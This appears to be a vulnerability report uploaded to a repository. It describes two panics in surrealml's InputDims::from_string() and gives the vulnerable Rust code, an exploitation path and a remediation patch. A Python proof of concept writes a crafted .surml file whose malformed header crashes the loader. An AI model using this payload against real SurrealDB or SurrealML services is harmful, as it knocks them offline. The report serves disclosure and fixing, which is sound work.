Upload 01-surrealml-input-dims-panic.md with huggingface_hub

01-surrealml-input-dims-panic.md

@@ -0,0 +1,117 @@
+# Multiple Panics (DoS) in InputDims::from_string() via Crafted .surml Header
+
+## Target
+- **Repository**: https://github.com/surrealdb/surrealml
+- **Component**: `modules/core/src/storage/header/input_dims.rs`
+- **Affected function**: `InputDims::from_string()`
+
+## Vulnerability Type
+- **CWE-248**: Uncaught Exception (Panic on untrusted input)
+- **CWE-129**: Improper Validation of Array Index
+- **Severity**: HIGH (DoS -- process crash on loading a crafted .surml file)
+
+## Description
+
+The `InputDims::from_string()` function, which is called during `.surml` file parsing, contains two separate panic-inducing bugs when processing attacker-controlled header data:
+
+1. **`.unwrap()` on `parse::<i32>()`** (line 34): If the input dimensions field contains non-numeric data (e.g., `"abc,def"`), the `parse::<i32>().unwrap()` call will panic.
+
+2. **Out-of-bounds array index** (lines 35-36): The code accesses `dims[0]` and `dims[1]` without checking that the parsed vector actually has at least 2 elements. If the attacker provides a single value (e.g., `"42"` with no comma), `dims[1]` causes an index-out-of-bounds panic.
+
+## Vulnerable Code
+
+**File**: `/work/surrealml/modules/core/src/storage/header/input_dims.rs`, lines 29-38
+
+```rust
+pub fn from_string(data: String) -> InputDims {
+    if data == *"" {
+        return InputDims::fresh();
+    }
+    let dims: Vec<&str> = data.split(",").collect();
+    let dims: Vec<i32> = dims.iter().map(|x| x.parse::<i32>().unwrap()).collect();  // <-- PANIC 1: unwrap on parse
+    InputDims {
+        dims: [dims[0], dims[1]],  // <-- PANIC 2: out-of-bounds if len < 2
+    }
+}
+```
+
+## Attack Vector
+
+The `.surml` file format stores a text-based header whose length is specified in the first 4 bytes. The header is delimited by `//=>` and the input dimensions field is the 10th segment (index 9). An attacker crafts a `.surml` file with a malicious input_dims field:
+
+### Trigger via parse failure:
+Set the input_dims header segment to `"abc,def"` -- the `parse::<i32>().unwrap()` will panic.
+
+### Trigger via index out-of-bounds:
+Set the input_dims header segment to `"42"` (single value, no comma) -- `dims[1]` panics on index access.
+
+### Exploitation path:
+```
+SurMlFile::from_file("malicious.surml")
+  -> Header::from_bytes(header_buffer)
+    -> InputDims::from_string(buffer.get(9).unwrap_or(&"").to_string())
+      -> PANIC
+```
+
+The function is also reachable via `SurMlFile::from_bytes()`, meaning any code that loads a `.surml` from network bytes (e.g., SurrealDB database import) is also affected.
+
+## Proof of Concept
+
+A minimal malicious .surml file can be constructed as follows:
+
+```python
+import struct
+
+# Craft a header with a malicious input_dims field
+# Header format: //=>[keys]//=>[normalisers]//=>[output]//=>[name]//=>[version]//=>[description]//=>[engine]//=>[origin]//=>[input_dims]//=>
+header = b"//=>//=>//=>//=>//=>//=>//=>//=>//=>NOTANUMBER//=>"
+# Alternatively for index OOB: header = b"//=>//=>//=>//=>//=>//=>//=>//=>//=>42//=>"
+
+header_len = struct.pack(">I", len(header))
+fake_model = b"\x00" * 10  # dummy model bytes
+
+malicious_surml = header_len + header + fake_model
+
+with open("crash.surml", "wb") as f:
+    f.write(malicious_surml)
+
+# Loading this file in Rust will panic:
+# SurMlFile::from_file("crash.surml") -> PANIC
+# SurMlFile::from_bytes(malicious_surml) -> PANIC
+```
+
+## Impact
+
+- **Denial of Service**: Any SurrealDB instance or application using SurrealML that loads an attacker-supplied `.surml` file will crash (process abort due to panic).
+- **Availability**: Complete loss of availability if the `.surml` file is loaded as part of a server process (e.g., SurrealDB ML model import).
+- **No user interaction**: The crash occurs automatically during file parsing.
+
+## Remediation
+
+Replace the panicking code with proper error handling:
+
+```rust
+pub fn from_string(data: String) -> Result<InputDims, SurrealError> {
+    if data.is_empty() {
+        return Ok(InputDims::fresh());
+    }
+    let dims: Vec<&str> = data.split(",").collect();
+    if dims.len() < 2 {
+        return Err(SurrealError::new(
+            "InputDims requires exactly 2 comma-separated values".to_string(),
+            SurrealErrorStatus::BadRequest,
+        ));
+    }
+    let dim0 = dims[0].parse::<i32>().map_err(|e| SurrealError::new(
+        format!("Failed to parse input dim 0: {}", e),
+        SurrealErrorStatus::BadRequest,
+    ))?;
+    let dim1 = dims[1].parse::<i32>().map_err(|e| SurrealError::new(
+        format!("Failed to parse input dim 1: {}", e),
+        SurrealErrorStatus::BadRequest,
+    ))?;
+    Ok(InputDims { dims: [dim0, dim1] })
+}
+```
+
+Note: The `Header::from_bytes()` function at line 190 also needs to be updated to propagate this error (currently calls `InputDims::from_string` which returns `InputDims` not `Result`).